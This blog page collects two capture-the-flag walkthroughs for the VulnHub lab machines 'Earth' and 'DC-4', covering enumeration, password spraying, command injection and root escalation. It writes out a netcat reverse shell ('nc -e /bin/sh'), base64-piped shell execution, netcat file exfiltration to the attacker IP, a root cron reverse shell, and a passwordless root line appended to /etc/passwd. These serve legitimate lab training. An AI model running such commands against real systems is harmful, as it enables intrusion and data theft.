wfuzz – Offensive IT

Machine: Earth
Target IP: 10.1.1.8
Attacker IP: 10.1.1.7
Difficulty: Easy
Goal: Get root access
Link: https://www.vulnhub.com/entry/the-planets-earth,755/

As usual we start with a Nmap scan to identify open ports on the target system. To do this we use the parameters -sC to scan for with default scripts as well as -sV to enumerate active services.

This gives us the extra information that there are host names within the SSL certificate as shown in figure 1.

When we access the web server on port 80 we get an 404 response back while on 443 we see a Fedora test page as the Nmap scan both already indicated.

Since we already know about the host names of the target machine from figure 1 we can add them into the hosts file of our attacker machine /etc/hosts and access the webpage now over earth.local on port 443. Furthermore we can verify that there is also an interface answering requests for terratest.earth.local – the second name extracted from figure 1.

From earth.local we are able to send messages but when submitting a message it is getting encrypted or encoded. Furthermore we have access to three old messages that have been sent before. For now it seems like there is no way of knowing what was sent before and that we have to look for hints on how to decode or decrypt the messages.

To find more information we can use a tool called wfuzz to search for hidden web directories as shown in figure 4.

4. Using wfuzz to search for hidden directories of the web server

Using the –hw parameter we can exclude false positive findings and discover that there is a directory called /admin on earth.local where we are prompted with a login that requires a username and a password.

After trying some common username and password combinations like “admin, admin” or “admin, password” and also a quick verification if the login might be vulnerable to SQL injection attacks we keep on searching for new directories. When looking closely at the second hostname that we know of we will find a robots.txt entry on terratest.earth.local.

6. Content for terratest.earth.local/robots.txt

The last entry within the robots.txt file looks interesting. Since it shows /testingnotes.* we can test some common file endings and have a hit on /testingnotes.txt.

7. terratest.earth.local/testingnotes.txt

The content of testingnotes.txt exposes a username and another file called testdata.txt which was used as a key for the encryption of the messages that we have seen in figure 3.

8. Content for /testdata.txt used as key for encrypting messages

With the knowledge of the encryption cipher, the encrypted message and the key that was used we can try to decrypt the messages from figure 3. After playing around with the format (Hexcode) we are able to decrypt at least one message with the key provided within /testdata.txt – however it is is not really clear on what to do with the decrypted message itself.

9. Using gchq.github.io/CyberChef/ to decrypt the messages

After taking a shot at some wild guesses on what to do with the decoded message we are able to use it as password with the earlier identified username from /testingnotes.txt on earth.local/admin. This gives us access to an edit field that executes the provided input on a CLI of the target system.

10. CLI access over 443 – after login on /admin

When trying to access a remote source the input does not get executed and we are prompted with an error message. However when we do not enter any IP the system is able to connect to external resources as shown in figure 11. It might be the case that there is only a filter that searches for IPs used in the input provided by the user.

11. Remote connections do work without an IP

Playing around with the CLI input we discover that we can not change directories and ware not allowed to create a file in the current directory – however we can write into the /tmp directory.
We can verify this by using commands like the following

echo “test”> /tmp/asd.txt
cat /tmp/asd.txt

which prints out the string test.

For the command
ls /var/www/html

we get an answer. This allows us to list the web server root directory
/var/www/html/terratest.earth.local/. Unfortunately the permissions are all set to root so we can not write anything there.

Since it looks like we are not able to place any file with shell code on the target system and execute it over the web server we try to encode our commands with base64 to hide the usage of IPs and to create a direct connection from the target system back to the attacking machine.

12. Running echo base64string | base64 -d | bash over the web server CLI to get the base64 payload executed

Once we have access on the box we can search for the typical privilege escalation mechanisms like scheduled tasks, bad configurations, old software versions and other topics.

When searching for SUID binaries we find a strange looking binary called reset_root.

13. Finding an interesting binary called reset_root

When executing the binary on the target system itself it starts but it looks like it is missing some requirements and thus stops before resetting the root password.

To look deeper inside the binary itself we copy it over to our attacking machine.

Once we have the binary on our local system we can take a closer look at it by using a tool called ltrace. It intercepts and records dynamic library calls which are called by the executed process and the signals which are received by that process. It can also intercept and print the system calls executed by the program. ltrace shows parameters of invoked functions and system calls (link).

15. Checking the reset_root binary to identify possible requirements for the code to run

Since the program is checking for the existence of three files as shown in figure 15 we use the following commands on the target system over our existing remote shell.

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

Afterwards we are able to run the reset_root binary on the target machine and since all requirements are in place the code gets executed and the root password gets reset. With this we are able to get root privileges.

Machine: DC-4
Target IP: 10.0.2.12
Attacker IP: 10.0.2.15
Difficulty: Easy
Goal: Get /root/the-flag.txt
Link: https://www.vulnhub.com/entry/dc-4,313/
VM-Creator: https://twitter.com/dcau7

As always we start with a Nmap scan to identify open ports. As figure 1 shows the target system only offers SSH and a HTTP service.

When we take a look at the web service we are prompted with a login mask.

2. Root directory (/login.php) for web service.

After verifying that SQL-Injection might not be an option here we try to find any hidden directories or vulnerabilities with Dirbuster and Nikto. But it seems like we are out of luck. And since desperate times calls for desperate measures we try to password spray our way in the application. To do so we use wfuzz. But first we need to know how the HTTP body of the login attempt is structured. For this we create a login attempt and intercept the request that is being made from the browser to the server with a proxy of our choice as shown in figure 3.

3. Intercepted HTTP post request of a login attempt.

With this information we can create the wfuzz command to spray some passwords from the famous SecLists (LINK). Unfortunately we do not know any valid usernames by now, which is why we assume the username admin could be a valid user. But as figure 4 shows we receive only false positives due to the a redirect. Which is why we need to separate a failed login from a potential successful login.

4. Spraying password with an valid HTTP body.

So we try to hide any failed response by ignoring statuscode 302 or a specific amount of words or characters. The last one is the way to go as shown in figure 5. A failed login response contains 206 characters, while a successful response contains 367.

5. Final wfuzz command to perform a password spraying attack while ignoring invalid login attempts.

After using the password to authenticate as admin to the web application we have access to three different commands that will be executed on the target system as shown in figure 6.

The idea is that we have to bypass the restrictions that limit us to only execute the three selected commands and to execute arbitrary code. To do so we take a closer look at the HTTP connection with a proxy like Burpsuite. As we can see in figure 7 the command that is being sent to the target system is passed inside the HTTP body.

7. HTTP Post request for directory listing.

We intercept the HTTP request and modify the body, more specifically the value for the radio parameter. This allows us to execute simple commands like whoami which gives us the confirmation that there is no further parameter sanitizing implemented which could prevent arbitrary code execution. The next step is to use any binary that is capable of creating a reverse shell. In this example we use the following Netcat command.

nc -e /bin/sh 10.0.2.15 443

Furthermore we have to URL encode the payload so that the request wont error due to the special characters. After sending the payload to the system we receive an incoming connection from the target as shown in figure 8.

8. Creating a reverse shell with an URL eoncoded Netcat payload.

Looking inside the home directories of the different users we find a backup directory with a file called old-passwords.bak for the user Jim.

9. Backup of old passwords for user Jim.

As figure 9 shows the file contains over 200 passwords. We copy the file to the attacking machine by using Netcat. First we set up a listening port on our local machine and direct any input to a new file.

nc -lnvp 5555 > oldpw.bak

Afterwards we create a connection from the target back to our system and direct the file as input.

nc 10.0.2.15 5555 < old-passwords.bak

After copying the passwords we try our luck and create another password spraying attack but this time for the user Jim and the SSH service we have identified earlier. To do so we use Hydra as shown in figure 10.

10. Attacking SSH with user Jim and a list of old passwords.

After using the identified password to login as user Jim over SSH we can see we have a mbox in /home so lets check other mails in /var/mail. There we find an inbox for the user Jim and a password for the user Charles as shown in figure 11.

After creating a SSH session as user Charles we try to find anything useful to escalate our privileges. When we check our sudo privileges with sudo -l we can see that we have access to a tool called teehee. Checking the help for teehee with sudo teehee –help we see that it is pretty much like the regular Linux tool tee.

After trying to create a new file with teehee to learn how it works we are ready to go to create a new script that opens a reverse shell back to our attacking machine and make it executable with chmod +x.

13. Creating a simple reverse shell script inside /home/charles

Afterwards we use sudo teehee -a to append a new task in the crontab to schedule the execution of the previously created shell script as user root for every minute.

15. Added task to crontab for reverse shell execution

Setting up Netcat to listen for incoming connections we receive a root shell to the target system.

Alternatively, we could have just edited the /etc/passwd file to create a new user with root privileges.

sudo teehee -a /etc/passwd
offensive::0:0:root:/root:/bin/bash
(or shorter)
offensive::0:0:::/bin/bash

Afterwards we can use su to change to the new user without a password.

Tag: wfuzz

VulnHub – Earth

VulnHub – DC-4